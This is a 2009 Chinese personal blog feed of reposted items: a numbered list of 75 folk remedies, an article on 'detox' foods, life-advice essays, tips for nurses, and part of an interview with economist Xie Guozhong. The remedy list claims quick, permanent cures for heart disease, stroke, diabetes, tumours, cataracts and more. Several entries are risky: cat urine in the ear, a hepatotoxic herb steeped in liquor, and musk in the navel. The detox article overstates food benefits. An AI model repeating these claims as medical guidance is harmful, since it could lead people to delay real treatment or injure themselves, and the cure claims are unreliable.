http://648253094.qzone.qq.com Thu, 26 Nov 2009 12:57:21 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sat, 27 Jun 2009 14:27:56 GMT http://648253094.qzone.qq.com/blog/1246112876 1、头痛（各种头痛均可）：生白萝卜汁，每次滴鼻孔两滴（两鼻孔都滴），一日两次，连用4-5天，可除根。忌吃花椒、胡椒。
2、头晕（头昏眼花、晕眩）：鸭蛋一个、赤豆20粒，搅匀蒸熟，早晨空服，每日一次，连用7天有特效。忌吃酒、辣。
3、失眠、多梦：睡前用半脸盆热水，加一两醋双脚浸泡20分钟，并生吃葱白1-2根。
4、干咳（感冒或其他原因引起均可）：生黑芝麻3钱（约一调羹），冰糖适量，共捣碎开水冲早晨空服，3天痊愈，少吃鱼类。
5、胃痛、吐酸、胃下垂、胃窦炎：大蒜头一次一两连皮烧焦，再加一碗水烧开、加适量白糖空腹食用，一日二次，连用7天可根治。 　
6、高血压、高血脂：芹菜籽*一两，用纱布包好，放10斤水煎汤，早、中、晚饮1杯。不怕辣者，可，早中晚食生蒜2头，有降血压、血脂特效。
7、心脏病、冠心病：花生壳一次一两，绿豆5钱，煎一碗汤服下，一日二次，需半月。
8、肠胃炎、腹泻：每次用麦面粉半两炒焦，加适量白糖用开水调匀，饭前服，一日二次，2-3天有特效。忌吃柿子、香蕉、油腻。 　
9、消化不良（儿童消化不良同）：鸡盹皮4两炒黄研成粉，饭前用白糖水冲服、一日二次，一次2钱（约半调羹）、儿童减半、一剂服完即可，忌吃田螺。
10、胸闷气胀：白萝卜籽*5钱、煎一碗汤服，一日三次，连用3天有消积顺气之功效。
11、神经衰落：猪脑1两，加入蜂蜜一调羹，蒸熟吃，一日一次，连吃5-10天。
12、内热口干：芦根*、绿豆各5钱，加一碗水煮开、加适量冰糖、去芦根吃豆喝汤，日服二次，连服3天。生津润肺，降火解热。
13、胆、肾、尿道结石：用鸡内金、玉米须50克，煎一碗汤一次服下，一日2-3次，连服10天。忌吃肝脏、肥肉、蛋黄。
14、急、慢性肾脏炎：4两重左右黑鱼一条，去鳞、肠等，绿茶叶2钱，包入鱼肚内用线捆好，加一碗水煮熟，吃鱼喝汤，一日一剂，连吃10-15天。忌酒、盐、香蕉、房事。 　
15、糖尿病：猪胰一条，冬瓜皮1两，加水煮熟（生吃亦佳），少加些油、盐和调料（勿加酒、糖）吃下，一日一剂，连吃20天。
16、记忆力差：鹅蛋一只，打入碗内加适量白糖搅匀，蒸熟早晨空服，连吃5天，有清脑益智功能，对增强记忆有特效，忌吃海带、花椒、动物血、酒、绿豆 　　
17、小便失禁（尿急、控制不住）：鸡肠一付，洗净晒干，炒黄研成粉，用黄酒送服，每次1钱，一日三次，服完即愈。忌姜、辣。
18、便秘（大便燥结、排便困难）：用煮熟的南瓜一碗，加入猪油5钱和适量的盐吃下，一日一次，一次见效，3日可愈。
19、打鼾：花椒5-10粒，睡前用开水泡一杯水，待水凉后服下（花椒不服下），连服5天，以后再也不打鼾。
20、中风：每日喝1两生芹菜只汁，病轻者服半月，病重者服一月可愈，忌吃羊肉、鸭血。
21、甲状腺功能亢进症：黄药子*9-12克，用三碗水煎成一碗，每日一次；另可用50克泡1斤白酒，日服1两，5-8周代谢率明显降低。 　　
22、慢性肠炎：鸡蛋清1只，白酒半两，混合，每晚睡前服。 　
23、打蛔虫：生南瓜籽20粒，去壳饭前空服，一次吃下，第二天虫子即可随大便排出。
24、腹痛（成人腹痛同）：用一片桔皮敷在肚脐上。再用半斤盐炒热（不要太烫），敷在桔皮上，可立即止痛。
25、误食杂物：韭菜半斤，不要切碎，炒熟多加些猪油，一次吃光，杂物可随大便排出。
26、磨牙：每晚睡前吃一块生桔皮，连吃2-3天，可治小儿及成人睡觉磨牙。
27、流口水（成人、老人睡觉流口水方法同）：泥鳅半斤，去内脏晒干，炒黄研成粉，用黄酒冲服，一次二钱，一日一次，服完即可。 　
28、考场镇静良方：学生进考场如临战场，往往由于过度紧张，使自己产生心慌、怯场现象，从而不能正常发挥而名落孙山。现介绍一种单方：酸枣仁*、绿豆各一两，煮一碗汤一次吃完，一日二次，次方要在考试前两天开始服，至考试结束，有镇静安神功效。
29、关节炎、肩周炎（包括风湿性、类风湿性关节炎）：食用细盐1斤，放锅内炒热，再加葱须，生姜各3钱，一起用布包好，趁热敷患处至盐凉；一日一次，连用一星期，有追风祛湿之功效。
30、肾亏腰痛：丝瓜籽半斤，炒黄研成粉。白酒送服，每次1钱，一日二次，服完即愈。此方还可治妇女产后腰痛。
31、颈椎痛：羊骨头（生的，煮过均可）二两，砸碎炒黄，浸白酒1斤，三日后擦颈部，一日三次，一般不过15天，可以根治。
32、骨刺（骨质增生）：狗骨头三两，砸碎炒黄浸白酒1斤，三日后用酒擦患处（最好带吃此酒一盅），一日三次，需用半月可愈。
33、腿抽筋：桑树果*一两，煎一碗汤一次喝下，一日二次，5天痊愈。 　
34、口眼歪（面部神经麻痹）：黄鳝血涂面部，向左歪涂左边，并用手掌从左向右反复抹，每次2分钟，一日二次，向右歪则反做，连用三四天即正。
35、脱肛（解大便时肛门脱下）：每次用韭菜半斤，水2斤煎开洗肛门，一日二次，洗三天。
36、落枕（睡觉时由于枕头或姿势不适，而引起的颈痛）：韭菜汁加热擦颈部，日擦七八次。2-3天可治好。
37、戒烟：干南瓜藤*一两，煎一碗汤加适量红糖一次服，一日三次，7天后永不想抽烟。
38、戒酒：活黄鳝一条，放一瓶白酒内浸二天后此酒，1次1-2两，一日三次，将酒服完后永远不想再喝一滴酒。
39、喝酒不醉：葛根*1钱，在喝酒前泡一杯开水喝下再喝酒，酒精可解，所以人不会醉。
40、长寿保健药酒：磁石、何首乌*、大枣、核桃、枸杞*各一两，浸白酒或黄酒二斤，两天后按常日酒量吃此酒，如常饮能使老人面部红润，增强抗病力，有延迟衰老功效。
41、手气、脚气：生大蒜头两只，去皮放入半斤醋内泡3天，再用大蒜头擦患处，每日3次。连用7-10日，有消炎和杀死细菌之特效。 　　
42、手汗、脚汗太多：明矾*5钱、热水2斤，一起溶化浸手脚、一次10分钟、浸后让其自然凉干，一日一次，5天后手脚汗正常。
43、手足开裂、粗糙：生猪油二两，加白糖1钱。捣匀擦手脚，一日2-3次。一般7天克愈，再擦几天以后永不复发。
44、烫伤：可选用蛋清、白糖水、醋、蜂蜜、在烫伤时马上涂伤处，就不会起泡又易好。
45、蚊虫咬伤（红肿、痒）：用醋、牙膏、盐水、香烟灰加水调匀涂，均可立即见效止痒、解毒消肿。
46、妇女白带（白带多、有异味）：生鸡蛋一只，从一头敲一小洞，将7粒白胡椒装入蛋内，用纸封好蒸熟，去胡椒吃蛋，每日一只，连吃一星期，忌吃猪血、绿豆。
47、外阴痒：葱白连根一两，花椒10粒，一起煎水一碗，洗阴部，每天二次，共洗3天。
48、子宫、卵巢肿瘤：红花6克、黑豆30克，水煎服，去红花食黑豆与汤，日2次。
49、阳痿（男子阳茎不能勃起）：磁石（吸铁石）5钱，公鸡睾丸5只，浸白酒一斤，三日后按常日量吃酒，一般需吃半至一月。（磁石可反复使用）。如不吃酒人，每日炒二只公鸡睾丸吃，连吃半月至一月，完全恢复性功能。
50、早泄（男子在房事时过早射精）：韭菜籽*半斤炎黄，用黄酒送服，一次2钱，一日三次，服完即痊愈。
51、男子性功能减退（不属于阳痿，只是性功能减弱力不重心，多见于年老体弱者，也有房事过度引起的）：活大青虾或白虾一两，白酒1斤、浸5天后按常日酒量吃酒，酒完后将虾炒吃。连用半月，有补阴壮阳、补充男性激素、增强性机能之功效。
52、前列腺炎：麝香0.5克，白胡椒7粒，研成细末，装瓶备用。将脐用酒精洗净，将麝香放入肚脐内，再将胡椒粉盖在上面，后盖圆白纸一张，外用胶布贴紧，每隔7-10日换药1次，10次为1疗程。 　
53、前列腺肥大：冬瓜籽*30克、黑木耳15克、秦皮*15克，水煎服，日2次。
54、牙痛（神经性、过敏性、蛀牙痛均可）：花椒10粒，白酒一两，将花椒浸在酒内，十分钟后用酒口含，几分钟即见效，一日2次每次10分钟，3-4 天痊愈。
55、牙周炎、牙龈炎：用一只鸡蛋清加等量白酒搅匀喝一口，含口中，5分钟后吐掉，一日二次（一日一只蛋），2-3天消炎止痛。 　　
56、牙出血（经常出血或刷牙引起）：花椒10粒，醋三两，浸2天后口含，一次3分钟，一日2次，连用5天有特效。
57、视力衰退（老光、老花、视物不清）：白菊花*2钱，枸杞子*2钱，每日用开水泡饮（一剂可泡三遍），连饮半至一月，有清水明目之功效。忌吃辣物、海带。
58、白内障（晶状浑浊、使视力下降）：白蒺藜*250克，羊肝250克，白糖200克，研为末，每次服15克，日服2次，8周见效。
59、虫入耳：用猫尿一滴，滴入耳内，虫子会自动出来。（提取猫尿法：用大瓣大蒜头，去皮擦猫鼻子，猫即撒尿）。
60、咽喉痛（咽部干燥疼痛、有异物感，急、慢性均可）：用绿茶叶泡浓茶约2两水量，加入半两蜂蜜搅匀，每日分几次漱喉并慢咽下，每日一剂，连用3-5天，消炎镇痛，湿润咽喉，治急、慢性咽喉炎。忌吃烟、酒，一切有刺激性食物。
61、扁桃体炎（嗓子二侧发起红肿、痛、一般多发于着凉后）：黑木耳一两，炒干研成粉，每次用半调羹粉与蜂蜜调匀口服，一日二次连服5天永不再发（此方在扁桃体炎正在发作时用）。
62、声音哑（咳嗽、讲话太多、唱歌、内火大等原因引起的音哑）：鸡蛋一只、打入碗内，加醋一条羹、搅匀蒸熟食用，一日一剂，连吃2-3天，声音响亮。忌辣。 　　
63、口臭：芦根*（鲜、干均可）一两，煎汤一碗加冰糖适量内服，一日一次，早晨空服，连服一星期。清火解毒，治内热胃火。 　
64、鱼刺卡喉：较轻者用好醋喝一口即可。如果不行，可用鸭口水一调羹喝下，鱼刺可自动化掉。（取鸭口水法：用一片生姜，放入鸭嘴内，再将鸭倒吊，鸭即流口水）。
65、流鼻血：藕节*、芦根*等量，一起切碎，煎一碗水一次喝下，一日二次，连用5日，清热止血，永不复发。
66、除面部皱纹：鲜黄瓜汁二调羹，加入等量鸡蛋清(约一只蛋)搅匀，每晚睡前先洗脸，再涂抹面部皱纹处，次日晨用温水洗净，连用半至一月，能使皮肤逐渐收缩，消除皱纹有特效.
67、皮肤粗黑：靠化妆品增白皮肤，只能一时掩饰，治表不治本，现向你介绍一种治表治本能使皮肤增白而真白的妙方，既简单又有特效：用白醋甘油按 5:1混合，常擦皮肤(一日二三次)能使皮肤湿润，减少黑色素沉积，一月后皮肤即细腻白嫩，洁净光滑富有弹性，充满美感。(此方对遗传黑皮肤均有效). 　
68、除面部色素斑：鲜西红柿汁蜂蜜，按5：1混合，涂面部，过10分钟后洗净，连用10-15日，能使黑色素分解，皮肤变白红润. 　　
69、脱发头屑头痒：每次用桑树根皮*4钱，水二斤，烧开洗头，一日一次，洗后勿用清水过头连用5天，能促进头皮血液循环，有固发作用，并治头屑头痒，可再生发. 　　
70、斑秃秃顶：按134条使用，并用老姜片每日擦头皮3-5次，与69条同用半月，以后不出一两月便会重新长出一头浓发.
71、头发增亮：啤酒醋按2：1混合.每日用毛巾吸湿再涂头发一次，连用半月.
72、白发变黑：何首乌*黑芝麻各三两，一起炒干研碎，用白糖水调服，每次3钱，一日一次，连服半月，可补肾健发.忌蚕豆.
73、减肥：干荷叶*干冬瓜皮*按1：2配好，每日用一两泡一斤左右热水喝，有去厚腻刮油手之功效，忌肥肉.
74、牙变白：用食盐小苏打等量，加入调成牙膏状，每日刷牙一次，3-4天可除牙齿表层所有色斑，使牙齿洁白
75、长期咳嗽（肺气肿及气管炎等引起咳嗽）：明矾一两，研成粉用醋调成糊状，每晚睡前取黄豆大一团敷足心 （涌泉穴，两足都敷），用布包好、次日晨揭去，连用7天有特效。 ]]> http://648253094.qzone.qq.com/blog/1246112876#comment 142606848 Sat, 27 Jun 2009 14:27:56 GMT http://648253094.qzone.qq.com/blog/1246112876 http://648253094.qzone.qq.com/blog/1245849986 现代社会环境污染日益严重，及时排除体内的有害物质及过剩营养，保持体内清洁是身体健康的重要保障。这里介绍10种有助于排毒的食物，以飨读者。
一、蜂蜜：味甘，性平，自古就是滋补强身、排毒养颜的佳品。蜂蜜富含维生素B、维生素D、维生素E、果糖、葡萄糖、麦芽糖、蔗糖、优质蛋白质、钾、钠、铁、天然香料、乳酸、苹果酸、淀粉酶、氧化酶等多种元素，对润肺止咳、润肠通便、排毒养颜有显著功效。蜂蜜中的主要成分葡萄糖和果糖(含量65％一80％)，很容易被人体吸收利用，此外，还含有多种人体所需的氨基酸、维生素B1、维生素B2、维生素C、铁、磷等。常吃蜂蜜能达到排出毒素、美容养颜的效果，对防治心血管疾病和神经衰弱等症也很有好处。
二、萝卜：味甘，性凉，有养血排毒、健脾和胃的功效。胡萝卜富含糖类、脂肪、挥发油、维生素A、维生素B2、花青素、胡萝卜素、钙、铁等营养成分。胡萝卜是有效的解毒食物，它不仅有丰富的胡萝卜素，而且含有的大量维生素A和果胶，与体内的汞离子结合之后，能有效降低血液中汞离子的浓度，加速体内汞离子的排除，白萝卜、红萝卜小萝卜等也具上述功效。
三、海带：味咸，性寒，有化痰、消痰、平喘、排毒、通便的功效。海带富含藻胶酸、甘露醇、蛋白质、脂肪、糖类、粗纤维、胡萝卜素、维生素B，、维生素B2、维生素C、尼克酸、碘、钙、磷、铁等多种成分，尤其是含丰富的碘，对人体十分有益，可治疗甲状腺肿大和碘缺乏而引起的病症。它所含的蛋白质中，包括18种氨基酸。海带中的碘化物被人体吸收后，能加速病变物和炎症渗出物的排除，有降血压、防止动脉硬化、促进有害物质排泄的作用。同时，海带还含有一种叫硫酸多糖的物质，能够吸收血管中的胆固醇，并把它们排出体外，使血液中的胆固醇保持正常含量。海带表面上有一层略带甜味的白色粉末，是极具医疗价值的甘露醇，具有良好的利尿作用，可以治疗药物中毒、浮肿等症，所以海带是理想的排毒食物，中老年男性更应多食海带，以保持前列腺和肾脏的健康。
四、木耳：味甘，性平，有排毒解毒、清胃涤肠、和血止血等功效。木耳富含碳水化合物、胶质、纤维素、葡萄糖、木糖、卵磷脂、脑磷脂、胡萝卜素、维生素B1、维生素B2、维生素C、蛋白质、铁、钙、磷等多种营养成分，被誉为“素中之荤”。木耳所含的一种植物胶质，有较强的吸附力，可将残留在人体消化系统内的灰尘杂质集中吸附，再排出体外，从而起到排毒清胃的作用，因此，从事粉尘环境中作业的人，特别应多食木耳。
五、黄瓜：味甘，性平，具有明显的清热解毒、生津止渴功效。黄瓜富含蛋白质、糖类、维生素B2、维生素C、维生素E、胡萝卜素、尼克酸、钙、磷、铁等营养成分，同时还含有丙醇、二酸、葫芦素、柔软的细纤维等成分，是难得的排毒食品。黄瓜所含的黄瓜酸，能促进人体新陈代谢，排出毒素；维生素C的含量比西瓜高五倍，能美白肌肤，使其保持弹性，抑制黑色素的形成。而且，黄瓜还能抑制糖类物质转化为脂肪，对肺、胃、心、肝及排泄系统都非常有益。夏日里容易烦躁、口渴，假如喉痛或痰多，吃黄瓜有助于化解炎症。
六、苦瓜：味甘、苦，性平，中医认为苦瓜有解毒排毒、养颜美容的功效。苦瓜富含蛋白质、糖类、粗纤维、维生素C、胡萝卜素、维生素B1、维生素B2、尼克酸钙、磷、铁等成分。苦瓜中存有一种具有明显抗癌的活性蛋白质，能够激发体内免疫系统防御功能，增加免疫细胞的活性，清除体内的有害物质。苦瓜虽然口感略苦，但余味甘甜。专家建议，女性应多吃苦瓜，以利经血调顺。
常用电脑的人会感到眼睛不适，视力下降，易有疲劳的感觉。常用电脑的人在饮食上应注意以下几方面：
　　吃一些对眼睛有益的食品，如鸡蛋、鱼类、鱼肝油、胡萝卜、菠菜、地瓜、南瓜、枸杞子、菊花、芝麻、萝卜、动物肝脏等。
　　多吃含钙质高的食品，如豆制品、骨头汤、鸡蛋、牛奶、瘦肉、虾等。
　　注意维生素的补充：多吃含有维生素的新鲜水果、蔬菜等。
　　注意增强抵抗力：多吃一些增强机体抗病能力的食物，如香菇、蜂蜜、木耳、海带、柑桔、大枣等。
　　吃一些抗辐射的食品：电脑虽然对人体健康影响较小，但也应预防。饮茶能降低辐射的危害，茶叶中的脂多糖有抗辐射的作用。螺旋藻、沙棘油也具有抗辐射的作用。
　　另外，用完电脑应洗脸，平时应注意锻炼身体。
七、荔枝：味甘、酸，性温，有补脾益肝、生津止渴、解毒止泻等功效。荔枝含维生素A、维生素B、维生素C、果胶、游离氨基酸、蛋白质、铁、磷、钙等多种元素。研究证明，荔枝有补肾益精，改善肝功能，加速毒素排除，促进细胞生成，使皮肤细嫩等功效，是排毒养颜的理想水果。
八、猪血：味甘、苦，性温，有解毒清肠、补血美容的功效。猪血富含维生素B2、维生素C、蛋白质、铁、磷、钙、尼克酸等营养成分。猪血中的血浆蛋白被人体内的胃酸分解后，产生一种解毒、清肠分解物，能够与侵入人体内的粉尘、有害金属微粒发生化合反应，易于毒素排出体外。长期接触有毒有害粉尘的人，特别是每日驾驶车辆的司机，应多吃猪血。另外，猪血富含铁，对贫血而面色苍白者有改善作用，是排毒养颜的理想食物。
九、绿豆：味甘，性凉，有清热、解毒、祛火之功效，是我国中医常常用来解多种食物或药物中毒的一味中药。绿豆富含维生素B、葡萄糖、蛋白质、淀粉酶、氧化酶、铁、钙、磷等多种成分，常食能帮助排泄体内毒素，促进机体的正常代谢。许多人在进食肥腻、煎炸、热性的食物之后，很容易出现皮肤瘙痒、暗疮、痱子等症状，这是由于湿毒内困溢于肌肤所致，绿豆则具有强力解毒功效，可以解除多种毒素。绿豆可以降低胆固醇，又有保肝和抗过敏作用。夏秋季节，绿豆汤是排毒养颜的佳品，在绿豆汤中调入蜂蜜饮用，排毒养颜功能更甚。
十、茶叶：性凉，味甘苦，有清热除烦、消食化积、清利减肥、通利小便的作用。茶叶富含铁、钙、磷、维生素A、维生素B1、尼克酸、氨基酸以及多种酶，对醒脑提神、清利头目、消暑解渴的功效尤为显著。茶叶富含一种生物活性物质——茶多酚，具有解毒作用。茶多酚作为一种天然抗氧化剂，可清除活性氧自由基，用于保健强身和延缓衰老。另外，茶有明显的防癌抗癌作用，坚持饮茶有防止肿瘤产生的积极功效。
]]> http://648253094.qzone.qq.com/blog/1245849986#comment 142606849 Wed, 24 Jun 2009 13:26:26 GMT http://648253094.qzone.qq.com/blog/1245849986 http://648253094.qzone.qq.com/blog/1243168404 温馨提示：欣赏时请关闭空间背景音乐

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人生犹如一道彩虹，一端连着摇篮，一端连着坟墓。这是一道多么美丽而易散的桥啊！因其美丽，我们才珍惜它；因其易散，我们才养护它。
如何才能保持愉快的心情呢？正像烦恼往往是自寻的一样，快乐也是自己制造的。一个人不能把快乐寄托在别人的赐予上。向别人要快乐，这是幼稚而不切合实际的。快乐在于自己，在于自己凭智慧和勤劳去创造、去寻找。

二、活出新意

太阳每天都在重复自己，那是因为它拥有的岁月太多。而人生的岁月是有限的，人应当每天都活出点新鲜的滋味。单调的千篇一律的生活，像灰色的裹尸布葬送着创造的生机。如果我们不想被它裹起来，就必须去拓展新的生活。
生活之河奔腾向前，我们不能两次涉过同一条河流。珍视每一个机会去开辟自己的生活，要敢于面对新的环境和新的挑战。
人生是一首诗，有的壮怀激烈，有的诙谐幽默，有的庄重严肃。不论是悲剧、喜剧或正剧，都是创造者的诗。

三、算生命账

人总生气，就容易生癌，也容易衰老，活得也憋气。说起来，人这一生也快，几十年光景一晃就过去了。何不潇潇洒洒、痛痛快快地活一场呢？
人们往往精于计算那些钱财和利害得失的事情，而懒得或不知道算这个最简单明了的生命账。如果算一下，你就会吓一跳，就会深感时间的紧迫，生命的短促，就再也来不及生气了。
遇不上好机遇，也不要怨天尤人。机遇往往是自己创造的要去寻找，坐等不行。说起来还是自己眼力不济，勇气不够，魄力不大，想像力不丰富。因此失去了许多机会，这就更没有理由怨天尤人了。

四、节约人生

人生对我们来说是不再生资源。犹如一块煤，一桶油，燃过即完。人生不像空气、海水，取之不尽，用之不竭。所以节煤节油，最要紧的是节约人生。
人生对我们来说不像一幅画、一篇文章，可以涂了重来。所以要格外慎重。无论做官、做学问、做买卖，最要紧的是做一个真正的人。
时间在我们的身上无情地流过。四季可以周而复始，而属于我们每个人的生命，却无可奈何地不能逆转。

五、环境命运

在举贤爱才的环境里没有废人。用其所长，避其所短。茶壶、夜壶各有各的用处。如果在一个嫉贤妒能的环境里，即使是人才也会像垃圾一样丢弃道旁。
把一个人命运的好坏，仅仅归结为一个人是远远不够的，而环境才是最重要的。韩信在项羽和刘邦那里境遇的不同，不是韩信的性格、才智和品德发生了变化，而是他的环境发生了改变。“橘生淮南则为橘，生于淮北则为枳……所以然者何？水土异也。”所以建议你在一个地方呆得不好时，不如尽早换个环境，或许你的命运会变得辉煌。

六、性格、命运

世界上许多事情本身并无幸福与不幸福之分，而全在于感受它的人的态度和角度，开朗的人往往对不快的事不大乎；而阴郁刁钻的人，往往把快乐也看成痛苦。一些家产万贯的富翁富婆整天愁眉苦脸，而一些食不果腹的乞丐常常笑逐颜开。一些四肢残废的人乐观开朗，而一些四肢健全的人却总是阴着黑脸。所以人的性格是决定自身幸福和快乐最重要最直接的因素，而别的因素是次要和间接的。

七、素质、命运

一个人的命运，除了受性格的影响外，也取决于自身的素质。素质是个综合概念，一般体现一个人的知识、才能和品德。虽然无数历史事实证明：知识渊博、才能出众、品德高尚的人，一辈子不一定有好命运，但在今天，如果不是恶势力的蓄意迫害，混碗饭吃还是不成问题的。生产力愈发展，社会愈前进，自身素质对人的命运的主控性愈强。
思念、感情
思念是一种相会的形式。思念联结着两个感情，它们之间有根看不见的绳。感情愈深思念愈重，揣着两颗忧伤的心。一个感情冻结的人是不懂得思念的。思念来自真挚。睹物思人，见月伤心，思念因其丰富而成为一种美丽的痛苦。你被别人思念，那是你曾经付出的感情正在得到回报。你思念别人，那是你对别人感情的回答。
德国诗人海涅说得好，没有距离便没有思念。当火车的汽笛长鸣，当轮船的汽笛拉响，当飞机腾空而起，思念便开始了。故此海涅说，只有远离祖国的人，才更加思念祖国，正像远离母亲的儿子思念母亲一样。
思念为可太深，因为思念会伤身。孩子思念母亲会失去食欲和欢笑，母亲思念孩子，会双目失明，头发变白。减轻思念最好的办法，是你专心去做被思念人希望你做的事情。两个相互厌恶的人，分离是最愉快的事情；两个感情深厚的人，分离是最痛苦的事情。

八、从容不迫

朋友，莫匆匆，前面的道路还很漫长。节奏固然要快疾，情绪固然要高涨，可有时也需要不慌不忙，前面的道路崎岖不平。心情要沉静，步子要稳重，因为是爬山，才要一步一个脚印。
征途上有沙漠，也有陷阱。莫把担子压得太重，莫把汗儿流尽，要像骆驼一样保存水分，要像骆驼一样稳健深沉。
般行万里浪滔滔，不能没有港湾；人生拼搏无休止，不能没有家园。
太匆匆将来不及思考，太匆匆将来不及憧憬，太匆匆将失去潇洒，太匆匆将失去平衡。
躯壳疲于奔命，大脑就会麻木不仁。没有肉体的放松和宁静，思想就很难上升。生命是有限的，但在有限的生命里，我们必须学会忍耐。日出日落、四季交替，连大自然一向都是那么从容不迫。我们在社会和自然的双重节奏中跳舞，注意不要抢拍。
我劝你别想把天下的事干尽，别想把天下的官当尽，别想把天下的钱赚尽，别想把天下的关系拉尽。别那么贪，也别那么忙吧。连古人都暗示我们：“忙”会把心“亡”了。

九、要读懂人

人和人之间的区别真是太大了。地球上的各种动物，在同类中区别最大的莫过于人。
人间所有的悲剧：婚变、政变、破产等，大抵与看错了人有关。所以我们不仅要读书，也要读人。就像品评一本书一样，品评闯入你生活中的人。要想婚姻幸福，要想政治有为，要想经营成功，都得读懂人。
每一对相遇的人，他们的关系犹如一枚硬币，都存在着两个面，一面是千里有缘来相会，一面为不是冤家不聚首。
人一生的成功和失败，很大程度上取决于与人们的关系。“成败一萧何，生死两夫人。”这是对韩信一生的概括。其实哪个人的成功没有他人的帮助？哪个人的失败没有哪个人的因素呢？

十、珍惜友情

一个人可以没有爱情，却不能没有友情。爱情应当专一，友情则求广泛。爱情是卧室里的月华，友情是大地上的阳光。
人没有友情，犹如禾苗缺乏雨露的滋润。故要像爱惜自己的眼睛一样爱惜友情。这也是因为得到友情太难，不懂得珍惜友情，便不懂得人生。
友情注重背景：在顺境中得到的友情，往往是假友情；在逆境中得到的友情，一定是真友情。
只是要记住：世界上既没有无缘无故的爱，也没有无缘无故的恨。故此，友情有真假之别。虚假的友情一遇到关键时刻，便会露出马脚。
友情既是相互的理解，也是相互的修正。不要轻易对你的朋友说“好”或“不好”，但是当朋友向你倾诉内心时，你不要怕说出心中是非的判断。当他静默时，你要用自己的心去倾听他的心。最好在朋友间保持适当的距离。因为鸟儿的翅膀也是分别在两边，连琴上的弦也有各自的位置，虽然它们在同一旋律中歌唱。西方有句谚语：“的篱笆才有好邻居。”抵御严寒的几只刺猬，依偎得过近，便会剌伤对方，只有保持适当的距离，它们才各自惬意。
友情以承认对方的独立存在为前提。让我们彼此赠送佳肴，却不用同一双筷子，让我们彼此赠送温暖，却不穿着同一条裤子行走。
]]> http://648253094.qzone.qq.com/blog/1242551050#comment 142606848 Sun, 17 May 2009 09:04:10 GMT http://648253094.qzone.qq.com/blog/1242551050 http://648253094.qzone.qq.com/blog/1242113857 http://news.qq.com/a/20090512/001466.htm ]]> http://648253094.qzone.qq.com/blog/1242113857#comment 134218240 Tue, 12 May 2009 07:37:37 GMT http://648253094.qzone.qq.com/blog/1242113857 http://648253094.qzone.qq.com/blog/1240730267 1、工作很累，但一定要注意休息，千万别拿自己的健康开玩笑．
2、如果你在医院被欺负了，一定不要退缩，不要软弱，学会对欺压你们的人说＂不＂．
3、抱怨虽然能够缓解心理压力，但是无助于问题的解决。如果不能改变周遭，就请改变自己
4、不在背后说别人的坏话，不传播谣言，不谈论科室的是非
5、面对矛盾的时候，学会对事不对人
6、科室里面一定有好的好朋友，但是好朋友并不意味着小团伙，不要因朋友而丧失原则
7、真诚对待所有的人，而不仅仅是朋友．
8、有自己独立的思想和见解，不必迷信权威
9、如果我们期待公正和公平，那么先从我们自己做起，不向利益低头，不向强权低头，坚持正义。
10、别欺负实习护士．别把苦活累活全部推给实习护士。
11、尽量避免在工作中和病人发生情感纠葛
12、护士站可不是扎堆聊家常的地方，让自己变得职业起来，才能获得别人的尊重。
13、爱自己的病人，用真诚的微笑去面对他们．他们虽然不是上帝，但他们毕竟是病人。病人需要爱，包括那 些无理的病人。
14、理解你的护士长，她们夹在中间很不容易．
15、靠真本事吃饭，不拉关系，不拍马逢迎，阿谀奉承
16、如果有一天当了护士长，善待自己的手下，为自己的手下说话
17、多读读书，书可以让你成熟
18、多学学法律，它或许可以保护你．法律虽然不是万能，但是不懂法律却是万万不能的．
19、把英语学好，它会很有用，尤其对于护士．
21、请记住，你们是中国最值得尊敬，最可爱的一个职业群体，你们当之无愧。会有越来越多的人认可这种观点。
22、我知道你们中有很多人想改行，但是期盼你们留下来，为了病人，为了未来的希望。
23、如果你想离开，那么我愿意送给你最衷心的祝福，祝愿你在外面活出更多的精彩。
24、不要对中国的护理失去信心，现状也许很糟糕，但一切会好，因为有你，有我，有大家，我们可以一起行动，行胜于言。
25、有事没事常到护士网逛逛，这里有很多和你＂同呼吸，共命运＂的人，你可以从那里学到很多


(摘自网络） ]]> http://648253094.qzone.qq.com/blog/1240730267#comment 142606865 Sun, 26 Apr 2009 07:17:47 GMT http://648253094.qzone.qq.com/blog/1240730267 http://648253094.qzone.qq.com/blog/1239037783 ]]> http://648253094.qzone.qq.com/blog/1239037783#comment 134222336 Mon, 06 Apr 2009 17:09:43 GMT http://648253094.qzone.qq.com/blog/1239037783 http://648253094.qzone.qq.com/blog/1239036434 ]]> http://648253094.qzone.qq.com/blog/1239036434#comment 134222336 Mon, 06 Apr 2009 16:47:14 GMT http://648253094.qzone.qq.com/blog/1239036434 http://648253094.qzone.qq.com/blog/1239033641 http://www.tudou.com/player/playlist.swf?lid=4374797 ]]> http://648253094.qzone.qq.com/blog/1239033641#comment 134218240 Mon, 06 Apr 2009 16:00:41 GMT http://648253094.qzone.qq.com/blog/1239033641 http://648253094.qzone.qq.com/blog/1238511603
准确预测亚洲金融风暴声名鹊起后，谢国忠一直很活跃，唱空楼市看空股市，成为“乌鸦”经济学家。当美国次贷问题引爆全球经济危机，他一度不受待见的预警言论再次被应验。现在，独立经济学家谢国忠，比摩根大通亚太首席经济学家谢国忠更有影响力。

3月25日下午，西康路上的香啡缤。记者见到了传说中的经济学家谢国忠。他坐在靠窗位置，身前是IBM笔记本，专注处理邮件，黑色双肩背包放在一边。格子衬衣、休闲夹克、标志性的复古圆框眼镜，谢国忠毫不起眼，与店里其他闲坐的商务人士没什么不同。

采访开始，他小心地用塑料保护膜盖住键盘合上电脑。“只谈经济，不谈个人。”谢国忠强调，这是他接受采访的前提条件。“我做人物志不适合。”曾经，电话那头的谢国忠音量不大，可当谈到熟悉的楼市股市宏观经济，他却抑扬顿挫掷地有声，一如既往观点鲜明，敢说敢论。

楼市：

中国有大泡沫，回暖不是两三年

新《土地管理法(修订意见稿)》正在省级国土系统内部征求意见。最受关注的当属住宅70年使用权大限到期后，“无偿自动续期”变成了“按照国家有关规定自动续期”。很多准购房者本能地一缩头，按住付款的手。谢国忠倒不认为此举对房产市场会有多大负面影响，“香港也是土地续期使用要付费，只有美国这样土地完全私有的地方才不用续期费。对新房没什么影响，比较旧的二手房会受影响。”

“房价下跌远没见底”

地产商是否就此放慢开发速度？谢国忠提高音调：“开发商早减缓开发了。”他一向坚持中国楼市有泡沫，还是“大泡沫”。从房价和工资比看，“美国次贷危机最泡沫时，每平方米房价与月工资相当，香港2：1的比例算高了。中国大陆现在大概在三四倍。不是说非得跟美国一样，但这个比例肯定过高。”

